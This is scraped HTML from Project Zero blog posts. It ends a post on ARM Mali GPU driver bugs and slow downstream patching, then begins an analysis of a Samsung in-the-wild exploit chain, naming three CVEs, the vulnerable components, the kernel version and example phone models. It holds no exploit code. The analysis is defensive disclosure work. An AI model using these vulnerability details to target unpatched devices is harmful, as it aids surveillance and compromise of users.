@jgrusko Replying to @ProjectZeroBugs\nRIP the feature that was there forever and nobody wanted to report :)" width="640/" /></a></span></p><h2 class="HwIiAvYVxJ-c7" id="h.r9ws488aqcv6"><span class="HwIiAvYVxJ-c6">The "Patch gap" is for vendors, too</span></h2>
<p class="HwIiAvYVxJ-c4"><span>We reported these five issues to ARM when they were discovered between June and July 2022. ARM fixed the issues promptly in July and August 2022, disclosing them as security issues on their </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://developer.arm.com/Arm%20Security%20Center/Mali%20GPU%20Driver%20Vulnerabilities">Arm Mali Driver Vulnerabilities</a></span><span> page (assigning </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://nvd.nist.gov/vuln/detail/CVE-2022-36449">CVE-2022-36449</a></span><span>) and publishing the </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://developer.arm.com/downloads/-/mali-drivers/valhall-kernel">patched driver source on their public developer website</a></span><span class="HwIiAvYVxJ-c0">.</span></p>
<p class="HwIiAvYVxJ-c4 HwIiAvYVxJ-c5"><span class="HwIiAvYVxJ-c0"></span></p>
<p class="HwIiAvYVxJ-c4"><span>In line with our </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://googleprojectzero.blogspot.com/2021/04/policy-and-disclosure-2021-edition.html">2021 disclosure policy update</a></span><span> we then waited an additional 30 days before derestricting our Project Zero tracker entries. Between late August and mid-September 2022 we derestricted these issues in the public Project Zero tracker: </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2325">2325</a></span><span>, </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2327">2327</a></span><span>, </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2331">2331</a></span><span>, </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2333">2333</a></span><span>, </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2334">2334</a></span><span class="HwIiAvYVxJ-c0">.</span></p>
<p class="HwIiAvYVxJ-c4 HwIiAvYVxJ-c5"><span class="HwIiAvYVxJ-c0"></span></p>
<p class="HwIiAvYVxJ-c4"><span>When time permits and as an additional check, we test the effectiveness of the patches that the vendor has provided. This sometimes leads to follow-up bug reports where a patch is incomplete or a variant is discovered (for a recently compiled list of examples, see </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://googleprojectzero.blogspot.com/2022/06/2022-0-day-in-wild-exploitationso-far.html">the first table in this blogpost</a></span><span class="HwIiAvYVxJ-c0">), and sometimes we discover the fix isn't there at all. </span></p>
<p class="HwIiAvYVxJ-c4 HwIiAvYVxJ-c5"><span class="HwIiAvYVxJ-c0"></span></p>
<p class="HwIiAvYVxJ-c4"><span class="HwIiAvYVxJ-c0">In this case we discovered that all of our test devices which used Mali are still vulnerable to these issues. CVE-2022-36449 is not mentioned in any downstream security bulletins.</span></p><h2 class="HwIiAvYVxJ-c7" id="h.yanf95yf2fn7"><span class="HwIiAvYVxJ-c6">Conclusion</span></h2>
<p class="HwIiAvYVxJ-c4"><span class="HwIiAvYVxJ-c0">Just as users are recommended to patch as quickly as they can once a release containing security updates is available, so the same applies to vendors and companies. Minimizing the "patch gap" as a vendor in these scenarios is arguably more important, as end users (or other vendors downstream) are blocking on this action before they can receive the security benefits of the patch.</span></p>
<p class="HwIiAvYVxJ-c4 HwIiAvYVxJ-c5"><span class="HwIiAvYVxJ-c0"></span></p>
<p class="HwIiAvYVxJ-c4"><span class="HwIiAvYVxJ-c0">Companies need to remain vigilant, follow upstream sources closely, and do their best to provide complete patches to users as soon as possible. </span></p>
<p class="HwIiAvYVxJ-c4 HwIiAvYVxJ-c5"><span class="HwIiAvYVxJ-c0"></span></p></body>Google Project Zerohttp://www.blogger.com/profile/08975904405228580347noreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-59107911678137678232022-11-04T08:50:00.003-07:002023-01-10T09:48:35.767-08:00A Very Powerful Clipboard: Analysis of a Samsung in-the-wild exploit chain<style type="text/css">@import url('https://themes.googleusercontent.com/fonts/css?kit=lhDjYqiy3mZ0x6ROQEUoUw');ol.lst-kix_gtv3l2c5wia7-3.start{counter-reset:lst-ctn-kix_gtv3l2c5wia7-3 0}ol.lst-kix_lsx8wn19rrkf-0.start{counter-reset:lst-ctn-kix_lsx8wn19rrkf-0 0}.lst-kix_hbruetvjkelf-8>li:before{content:"\0025a0 "}.lst-kix_hbruetvjkelf-7>li:before{content:"\0025cb "}.lst-kix_gtv3l2c5wia7-3>li{counter-increment:lst-ctn-kix_gtv3l2c5wia7-3}.lst-kix_olk2lnn0afau-5>li{counter-increment:lst-ctn-kix_olk2lnn0afau-5}ol.lst-kix_gtv3l2c5wia7-6.start{counter-reset:lst-ctn-kix_gtv3l2c5wia7-6 0}.lst-kix_lsx8wn19rrkf-4>li{counter-increment:lst-ctn-kix_lsx8wn19rrkf-4}.lst-kix_gtv3l2c5wia7-5>li:before{content:"" counter(lst-ctn-kix_gtv3l2c5wia7-5,lower-roman) ". "}.lst-kix_gtv3l2c5wia7-2>li{counter-increment:lst-ctn-kix_gtv3l2c5wia7-2}.lst-kix_gtv3l2c5wia7-4>li:before{content:"" counter(lst-ctn-kix_gtv3l2c5wia7-4,lower-latin) ". "}.lst-kix_hbruetvjkelf-0>li:before{content:"\0025cf "}.lst-kix_gtv3l2c5wia7-6>li:before{content:"" counter(lst-ctn-kix_gtv3l2c5wia7-6,decimal) ". "}.lst-kix_hbruetvjkelf-1>li:before{content:"\0025cb "}.lst-kix_gtv3l2c5wia7-7>li:before{content:"" counter(lst-ctn-kix_gtv3l2c5wia7-7,lower-latin) ". "}ol.lst-kix_lsx8wn19rrkf-3.start{counter-reset:lst-ctn-kix_lsx8wn19rrkf-3 0}.lst-kix_lsx8wn19rrkf-5>li{counter-increment:lst-ctn-kix_lsx8wn19rrkf-5}.lst-kix_gtv3l2c5wia7-8>li:before{content:"" counter(lst-ctn-kix_gtv3l2c5wia7-8,lower-roman) ". "}.lst-kix_lsx8wn19rrkf-2>li{counter-increment:lst-ctn-kix_lsx8wn19rrkf-2}.lst-kix_hbruetvjkelf-4>li:before{content:"\0025cb "}.lst-kix_hbruetvjkelf-3>li:before{content:"\0025cf "}.lst-kix_hbruetvjkelf-5>li:before{content:"\0025a0 "}.lst-kix_hbruetvjkelf-2>li:before{content:"\0025a0 "}.lst-kix_hbruetvjkelf-6>li:before{content:"\0025cf "}ol.lst-kix_olk2lnn0afau-0.start{counter-reset:lst-ctn-kix_olk2lnn0afau-0 0}ol.lst-kix_olk2lnn0afau-6.start{counter-reset:lst-ctn-kix_olk2lnn0afau-6 0}.lst-kix_olk2lnn0afau-7>li{counter-increment:lst-ctn-kix_olk2lnn0afau-7}ol.lst-kix_lsx8wn19rrkf-6.start{counter-reset:lst-ctn-kix_lsx8wn19rrkf-6 0}ol.lst-kix_olk2lnn0afau-3.start{counter-reset:lst-ctn-kix_olk2lnn0afau-3 0}.lst-kix_olk2lnn0afau-4>li{counter-increment:lst-ctn-kix_olk2lnn0afau-4}ol.lst-kix_gtv3l2c5wia7-5{list-style-type:none}ol.lst-kix_gtv3l2c5wia7-6{list-style-type:none}ol.lst-kix_gtv3l2c5wia7-7{list-style-type:none}.lst-kix_olk2lnn0afau-0>li:before{content:"" counter(lst-ctn-kix_olk2lnn0afau-0,decimal) ". "}ol.lst-kix_gtv3l2c5wia7-8{list-style-type:none}.lst-kix_olk2lnn0afau-1>li:before{content:"" counter(lst-ctn-kix_olk2lnn0afau-1,lower-latin) ". "}.lst-kix_gtv3l2c5wia7-0>li{counter-increment:lst-ctn-kix_gtv3l2c5wia7-0}.lst-kix_olk2lnn0afau-2>li:before{content:"" counter(lst-ctn-kix_olk2lnn0afau-2,lower-roman) ". "}.lst-kix_olk2lnn0afau-4>li:before{content:"" counter(lst-ctn-kix_olk2lnn0afau-4,lower-latin) ". "}ol.lst-kix_gtv3l2c5wia7-0{list-style-type:none}ol.lst-kix_gtv3l2c5wia7-1{list-style-type:none}.lst-kix_gtv3l2c5wia7-6>li{counter-increment:lst-ctn-kix_gtv3l2c5wia7-6}.lst-kix_olk2lnn0afau-8>li{counter-increment:lst-ctn-kix_olk2lnn0afau-8}ol.lst-kix_gtv3l2c5wia7-2{list-style-type:none}ol.lst-kix_gtv3l2c5wia7-3{list-style-type:none}.lst-kix_olk2lnn0afau-3>li:before{content:"" counter(lst-ctn-kix_olk2lnn0afau-3,decimal) ". "}ol.lst-kix_gtv3l2c5wia7-4{list-style-type:none}.lst-kix_lsx8wn19rrkf-1>li{counter-increment:lst-ctn-kix_lsx8wn19rrkf-1}.lst-kix_lsx8wn19rrkf-7>li{counter-increment:lst-ctn-kix_lsx8wn19rrkf-7}ol.lst-kix_lsx8wn19rrkf-5.start{counter-reset:lst-ctn-kix_lsx8wn19rrkf-5 0}.lst-kix_olk2lnn0afau-2>li{counter-increment:lst-ctn-kix_olk2lnn0afau-2}ol.lst-kix_olk2lnn0afau-8{list-style-type:none}ol.lst-kix_olk2lnn0afau-7{list-style-type:none}.lst-kix_gtv3l2c5wia7-5>li{counter-increment:lst-ctn-kix_gtv3l2c5wia7-5}ol.lst-kix_olk2lnn0afau-6{list-style-type:none}ol.lst-kix_gtv3l2c5wia7-4.start{counter-reset:lst-ctn-kix_gtv3l2c5wia7-4 0}.lst-kix_gtv3l2c5wia7-2>li:before{content:"" counter(lst-ctn-kix_gtv3l2c5wia7-2,lower-roman) ". "}.lst-kix_gtv3l2c5wia7-1>li:before{content:"" counter(lst-ctn-kix_gtv3l2c5wia7-1,lower-latin) ". "}.lst-kix_gtv3l2c5wia7-3>li:before{content:"" counter(lst-ctn-kix_gtv3l2c5wia7-3,decimal) ". "}ol.lst-kix_olk2lnn0afau-5.start{counter-reset:lst-ctn-kix_olk2lnn0afau-5 0}.lst-kix_gtv3l2c5wia7-0>li:before{content:"" counter(lst-ctn-kix_gtv3l2c5wia7-0,decimal) ". "}.lst-kix_olk2lnn0afau-6>li:before{content:"" counter(lst-ctn-kix_olk2lnn0afau-6,decimal) ". "}.lst-kix_olk2lnn0afau-8>li:before{content:"" counter(lst-ctn-kix_olk2lnn0afau-8,lower-roman) ". "}ol.lst-kix_lsx8wn19rrkf-4.start{counter-reset:lst-ctn-kix_lsx8wn19rrkf-4 0}.lst-kix_olk2lnn0afau-5>li:before{content:"" counter(lst-ctn-kix_olk2lnn0afau-5,lower-roman) ". "}ol.lst-kix_lsx8wn19rrkf-1{list-style-type:none}ol.lst-kix_lsx8wn19rrkf-0{list-style-type:none}ol.lst-kix_lsx8wn19rrkf-3{list-style-type:none}ol.lst-kix_lsx8wn19rrkf-2{list-style-type:none}ol.lst-kix_lsx8wn19rrkf-5{list-style-type:none}.lst-kix_olk2lnn0afau-7>li:before{content:"" counter(lst-ctn-kix_olk2lnn0afau-7,lower-latin) ". "}ol.lst-kix_lsx8wn19rrkf-4{list-style-type:none}ol.lst-kix_lsx8wn19rrkf-7{list-style-type:none}ol.lst-kix_olk2lnn0afau-4.start{counter-reset:lst-ctn-kix_olk2lnn0afau-4 0}ol.lst-kix_lsx8wn19rrkf-6{list-style-type:none}ol.lst-kix_lsx8wn19rrkf-7.start{counter-reset:lst-ctn-kix_lsx8wn19rrkf-7 0}.lst-kix_lsx8wn19rrkf-8>li:before{content:"" counter(lst-ctn-kix_lsx8wn19rrkf-8,lower-roman) ". "}ol.lst-kix_lsx8wn19rrkf-8{list-style-type:none}.lst-kix_lsx8wn19rrkf-6>li:before{content:"" counter(lst-ctn-kix_lsx8wn19rrkf-6,decimal) ". "}.lst-kix_x9fpm1r5kf6m-8>li:before{content:"\0025a0 "}.lst-kix_lsx8wn19rrkf-7>li:before{content:"" counter(lst-ctn-kix_lsx8wn19rrkf-7,lower-latin) ". "}.lst-kix_lsx8wn19rrkf-0>li:before{content:"" counter(lst-ctn-kix_lsx8wn19rrkf-0,decimal) ". "}.lst-kix_lsx8wn19rrkf-1>li:before{content:"" counter(lst-ctn-kix_lsx8wn19rrkf-1,lower-latin) ". "}ol.lst-kix_olk2lnn0afau-7.start{counter-reset:lst-ctn-kix_olk2lnn0afau-7 0}.lst-kix_x9fpm1r5kf6m-6>li:before{content:"\0025cf "}.lst-kix_lsx8wn19rrkf-2>li:before{content:"" counter(lst-ctn-kix_lsx8wn19rrkf-2,lower-roman) ". "}.lst-kix_x9fpm1r5kf6m-7>li:before{content:"\0025cb "}.lst-kix_x9fpm1r5kf6m-3>li:before{content:"\0025cf "}.lst-kix_lsx8wn19rrkf-4>li:before{content:"" counter(lst-ctn-kix_lsx8wn19rrkf-4,lower-latin) ". "}.lst-kix_lsx8wn19rrkf-5>li:before{content:"" counter(lst-ctn-kix_lsx8wn19rrkf-5,lower-roman) ". "}.lst-kix_x9fpm1r5kf6m-4>li:before{content:"\0025cb "}.lst-kix_lsx8wn19rrkf-3>li:before{content:"" counter(lst-ctn-kix_lsx8wn19rrkf-3,decimal) ". "}.lst-kix_x9fpm1r5kf6m-5>li:before{content:"\0025a0 "}ol.lst-kix_olk2lnn0afau-1{list-style-type:none}ol.lst-kix_olk2lnn0afau-0{list-style-type:none}.lst-kix_x9fpm1r5kf6m-0>li:before{content:"\0025cf "}ol.lst-kix_olk2lnn0afau-5{list-style-type:none}ol.lst-kix_olk2lnn0afau-4{list-style-type:none}ol.lst-kix_olk2lnn0afau-3{list-style-type:none}ol.lst-kix_olk2lnn0afau-2{list-style-type:none}.lst-kix_lsx8wn19rrkf-8>li{counter-increment:lst-ctn-kix_lsx8wn19rrkf-8}.lst-kix_gtv3l2c5wia7-8>li{counter-increment:lst-ctn-kix_gtv3l2c5wia7-8}.lst-kix_x9fpm1r5kf6m-2>li:before{content:"\0025a0 "}ol.lst-kix_gtv3l2c5wia7-2.start{counter-reset:lst-ctn-kix_gtv3l2c5wia7-2 0}.lst-kix_x9fpm1r5kf6m-1>li:before{content:"\0025cb "}ul.lst-kix_x9fpm1r5kf6m-3{list-style-type:none}ul.lst-kix_x9fpm1r5kf6m-4{list-style-type:none}ul.lst-kix_x9fpm1r5kf6m-1{list-style-type:none}ul.lst-kix_x9fpm1r5kf6m-2{list-style-type:none}ul.lst-kix_x9fpm1r5kf6m-0{list-style-type:none}ol.lst-kix_gtv3l2c5wia7-5.start{counter-reset:lst-ctn-kix_gtv3l2c5wia7-5 0}.lst-kix_olk2lnn0afau-1>li{counter-increment:lst-ctn-kix_olk2lnn0afau-1}ul.lst-kix_x9fpm1r5kf6m-7{list-style-type:none}ul.lst-kix_x9fpm1r5kf6m-8{list-style-type:none}ul.lst-kix_x9fpm1r5kf6m-5{list-style-type:none}ul.lst-kix_x9fpm1r5kf6m-6{list-style-type:none}ul.lst-kix_hbruetvjkelf-4{list-style-type:none}ul.lst-kix_hbruetvjkelf-3{list-style-type:none}ul.lst-kix_hbruetvjkelf-2{list-style-type:none}ul.lst-kix_hbruetvjkelf-1{list-style-type:none}ul.lst-kix_hbruetvjkelf-0{list-style-type:none}ol.lst-kix_lsx8wn19rrkf-2.start{counter-reset:lst-ctn-kix_lsx8wn19rrkf-2 0}ol.lst-kix_gtv3l2c5wia7-8.start{counter-reset:lst-ctn-kix_gtv3l2c5wia7-8 0}.lst-kix_lsx8wn19rrkf-0>li{counter-increment:lst-ctn-kix_lsx8wn19rrkf-0}ul.lst-kix_hbruetvjkelf-8{list-style-type:none}ul.lst-kix_hbruetvjkelf-7{list-style-type:none}ul.lst-kix_hbruetvjkelf-6{list-style-type:none}ul.lst-kix_hbruetvjkelf-5{list-style-type:none}ol.lst-kix_gtv3l2c5wia7-1.start{counter-reset:lst-ctn-kix_gtv3l2c5wia7-1 0}ol.lst-kix_olk2lnn0afau-2.start{counter-reset:lst-ctn-kix_olk2lnn0afau-2 0}.lst-kix_olk2lnn0afau-3>li{counter-increment:lst-ctn-kix_olk2lnn0afau-3}ol.lst-kix_lsx8wn19rrkf-1.start{counter-reset:lst-ctn-kix_lsx8wn19rrkf-1 0}.lst-kix_olk2lnn0afau-6>li{counter-increment:lst-ctn-kix_olk2lnn0afau-6}ol.lst-kix_lsx8wn19rrkf-8.start{counter-reset:lst-ctn-kix_lsx8wn19rrkf-8 0}ol.lst-kix_gtv3l2c5wia7-7.start{counter-reset:lst-ctn-kix_gtv3l2c5wia7-7 0}li.li-bullet-0:before{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}.lst-kix_olk2lnn0afau-0>li{counter-increment:lst-ctn-kix_olk2lnn0afau-0}ol.lst-kix_olk2lnn0afau-1.start{counter-reset:lst-ctn-kix_olk2lnn0afau-1 0}ol.lst-kix_gtv3l2c5wia7-0.start{counter-reset:lst-ctn-kix_gtv3l2c5wia7-0 0}.lst-kix_gtv3l2c5wia7-4>li{counter-increment:lst-ctn-kix_gtv3l2c5wia7-4}.lst-kix_gtv3l2c5wia7-1>li{counter-increment:lst-ctn-kix_gtv3l2c5wia7-1}.lst-kix_gtv3l2c5wia7-7>li{counter-increment:lst-ctn-kix_gtv3l2c5wia7-7}ol.lst-kix_olk2lnn0afau-8.start{counter-reset:lst-ctn-kix_olk2lnn0afau-8 0}.lst-kix_lsx8wn19rrkf-3>li{counter-increment:lst-ctn-kix_lsx8wn19rrkf-3}.lst-kix_lsx8wn19rrkf-6>li{counter-increment:lst-ctn-kix_lsx8wn19rrkf-6}ol{margin:0;padding:0}table td,table th{padding:0}.vdnyYxSRCi-c48{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#e0e0e0;border-top-width:1pt;border-right-width:1pt;border-left-color:#e0e0e0;vertical-align:top;border-right-color:#e0e0e0;border-left-width:1pt;border-top-style:solid;background-color:#fafafa;border-left-style:solid;border-bottom-width:1pt;width:507.8pt;border-top-color:#e0e0e0;border-bottom-style:solid}.vdnyYxSRCi-c41{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#e0e0e0;border-top-width:1pt;border-right-width:1pt;border-left-color:#e0e0e0;vertical-align:top;border-right-color:#e0e0e0;border-left-width:1pt;border-top-style:solid;background-color:#fafafa;border-left-style:solid;border-bottom-width:1pt;width:444.8pt;border-top-color:#e0e0e0;border-bottom-style:solid}.vdnyYxSRCi-c10{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#e0e0e0;border-top-width:1pt;border-right-width:1pt;border-left-color:#e0e0e0;vertical-align:top;border-right-color:#e0e0e0;border-left-width:1pt;border-top-style:solid;background-color:#fafafa;border-left-style:solid;border-bottom-width:1pt;width:468pt;border-top-color:#e0e0e0;border-bottom-style:solid}.vdnyYxSRCi-c49{-webkit-text-decoration-skip:none;color:#000000;font-weight:400;text-decoration:line-through;vertical-align:baseline;text-decoration-skip-ink:none;font-family:"Arial";font-style:normal}.vdnyYxSRCi-c16{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:16pt;font-family:"Arial";font-style:normal}.vdnyYxSRCi-c32{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:10pt;font-family:"Arial";font-style:normal}.vdnyYxSRCi-c3{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:10pt;font-family:Consolas,"Courier New";font-style:normal}.vdnyYxSRCi-c31{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:20pt;font-family:"Arial";font-style:normal}.vdnyYxSRCi-c7{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.vdnyYxSRCi-c35{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial"}.vdnyYxSRCi-c17{padding-top:18pt;padding-bottom:6pt;line-height:1.5;page-break-after:avoid;text-align:left}.vdnyYxSRCi-c52{padding-top:16pt;padding-bottom:4pt;line-height:1.5;page-break-after:avoid;text-align:left}.vdnyYxSRCi-c28{padding-top:20pt;padding-bottom:6pt;line-height:1.5;page-break-after:avoid;text-align:left}.vdnyYxSRCi-c0{font-size:10pt;font-family:Consolas,"Courier New";color:#616161;font-weight:400}.vdnyYxSRCi-c30{padding-top:0pt;padding-bottom:0pt;line-height:1.38;text-align:left}.vdnyYxSRCi-c5{font-size:10pt;font-family:Consolas,"Courier New";color:#9c27b0;font-weight:400}.vdnyYxSRCi-c47{margin-left:0.8pt;border-spacing:0;border-collapse:collapse;margin-right:auto}.vdnyYxSRCi-c13{font-size:10pt;font-family:Consolas,"Courier New";color:#c53929;font-weight:400}.vdnyYxSRCi-c20{font-size:10pt;font-family:Consolas,"Courier New";color:#455a64;font-weight:400}.vdnyYxSRCi-c24{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.vdnyYxSRCi-c4{font-size:10pt;font-family:Consolas,"Courier New";color:#000000;font-weight:400}.vdnyYxSRCi-c1{padding-top:0pt;padding-bottom:0pt;line-height:1.5;text-align:left}.vdnyYxSRCi-c12{font-size:10pt;font-family:Consolas,"Courier New";color:#3367d6;font-weight:400}.vdnyYxSRCi-c43{color:#222222;font-weight:400;font-size:11pt;font-family:"Arial"}.vdnyYxSRCi-c23{border-spacing:0;border-collapse:collapse;margin-right:auto}.vdnyYxSRCi-c34{color:#000000;font-weight:400;font-size:11pt;font-family:Consolas,"Courier New"}.vdnyYxSRCi-c18{font-size:10pt;font-family:Consolas,"Courier New";color:#0f9d58;font-weight:400}.vdnyYxSRCi-c25{font-size:10pt;font-family:Consolas,"Courier New";color:#00796b;font-weight:400}.vdnyYxSRCi-c42{color:#434343;font-weight:400;font-size:14pt;font-family:"Arial"}.vdnyYxSRCi-c2{font-family:Consolas,"Courier New";color:#0d904f;font-weight:400}.vdnyYxSRCi-c27{-webkit-text-decoration-skip:none;text-decoration:underline;text-decoration-skip-ink:none}.vdnyYxSRCi-c33{text-decoration:none;vertical-align:baseline;font-style:normal}.vdnyYxSRCi-c37{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.vdnyYxSRCi-c51{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;text-decoration:line-through}.vdnyYxSRCi-c21{margin-left:36pt;padding-left:0pt}.vdnyYxSRCi-c6{color:inherit;text-decoration:inherit}.vdnyYxSRCi-c46{font-weight:400;font-family:Consolas,"Courier New"}.vdnyYxSRCi-c36{padding:0;margin:0}.vdnyYxSRCi-c8{orphans:2;widows:2}.vdnyYxSRCi-c26{margin-left:36pt;text-indent:36pt}.vdnyYxSRCi-c45{text-decoration:none;vertical-align:baseline}.vdnyYxSRCi-c9{background-color:#ffff00}.vdnyYxSRCi-c15{background-color:#b6d7a8}.vdnyYxSRCi-c29{background-color:#f4cccc}.vdnyYxSRCi-c11{font-style:italic}.vdnyYxSRCi-c19{height:0pt}.vdnyYxSRCi-c14{height:11pt}.vdnyYxSRCi-c44{font-size:11pt}.vdnyYxSRCi-c22{height:52.5pt}.vdnyYxSRCi-c40{font-weight:700}.vdnyYxSRCi-c39{margin-left:36pt}.vdnyYxSRCi-c38{background-color:#ffffff}.vdnyYxSRCi-c50{color:#222222}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="c37 doc-content">
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c35 vdnyYxSRCi-c11">Posted by Maddie Stone, Project Zero</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c35 vdnyYxSRCi-c11"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c11 vdnyYxSRCi-c40">Note</span><span class="vdnyYxSRCi-c35 vdnyYxSRCi-c11">: The three vulnerabilities discussed in this blog were all fixed in Samsung’s March 2021 release. They were fixed as CVE-2021-25337, CVE-2021-25369, CVE-2021-25370. To ensure your Samsung device is up-to-date under settings you can check that your device is running SMR Mar-2021 or later.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>As defenders, in-the-wild exploit samples give us important insight into what attackers are really doing. We get the “ground truth” data about the vulnerabilities and exploit techniques they’re using, which then informs our further research and guidance to security teams on what could have the biggest impact or return on investment. To do this, we need to know that the vulnerabilities and exploit samples were found in-the-wild. </span><span>Over the past few years there’s been tremendous progress in vendor’s transparently disclosing when a vulnerability is known to be exploited in-the-wild: </span><span>Adobe, Android, Apple, ARM, Chrome, </span><span>Microsoft, </span><span>Mozilla, and others are sharing this information via their security release note</span><span class="vdnyYxSRCi-c7">s.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>While</span><span class="vdnyYxSRCi-c7"> we understand that Samsung has yet to annotate any vulnerabilities as in-the-wild, going forward, Samsung has committed to publicly sharing when vulnerabilities may be under limited, targeted exploitation, as part of their release notes. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>We hope that, like Samsung, others will join their industry peers in disclosing when there is evidence to suggest that a vulnerability is being exploited in-the-wild in one of their products. </span></p><h1 class="vdnyYxSRCi-c28 vdnyYxSRCi-c8" id="h.a4kixp1dzrny"><span>The exploit sample</span></h1>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The Google Threat Analysis Group (TAG) obtained a partial exploit chain for Samsung devices that TAG believes belonged to a commercial surveillance vendor. These exploits were likely discovered in the testing phase. </span><span class="vdnyYxSRCi-c7">The sample is from late 2020. The chain merited further analysis because it is a 3 vulnerability chain where all 3 vulnerabilities are within Samsung custom components, including a vulnerability in a Java component. This exploit analysis was completed in collaboration with Clement Lecigne from TAG.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The sample used three vulnerabilities, all patched in March 2021 by Samsung: </span></p><ol class="c36 lst-kix_lsx8wn19rrkf-0 start" start="1"><li style="margin-left: 46pt;" class="c1 c21 c8 li-bullet-0"><span class="vdnyYxSRCi-c7">Arbitrary file read/write via the clipboard provider - CVE-2021-25337</span></li><li style="margin-left: 46pt;" class="c1 c21 c8 li-bullet-0"><span>Kernel information leak via </span><span class="vdnyYxSRCi-c2">sec_log</span><span class="vdnyYxSRCi-c7"> - CVE-2021-25369</span></li><li style="margin-left: 46pt;" class="c1 c21 c8 li-bullet-0"><span class="vdnyYxSRCi-c7">Use-after-free in the Display Processing Unit (DPU) driver - CVE-2021-25370</span></li></ol>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c7">The exploit sample targets Samsung phones running kernel 4.14.113 with the Exynos SOC. Samsung phones run one of two types of SOCs depending on where they’re sold. For example the Samsung phones sold in the United States, China, and a few other countries use a Qualcomm SOC and phones sold most other places (ex. Europe and Africa) run an Exynos SOC. The exploit sample relies on both the Mali GPU driver and the DPU driver which are specific to the Exynos Samsung phones.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c7">Examples of Samsung phones that were running kernel 4.14.113 in late 2020 (when this sample was found) include the S10, A50, and A51.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
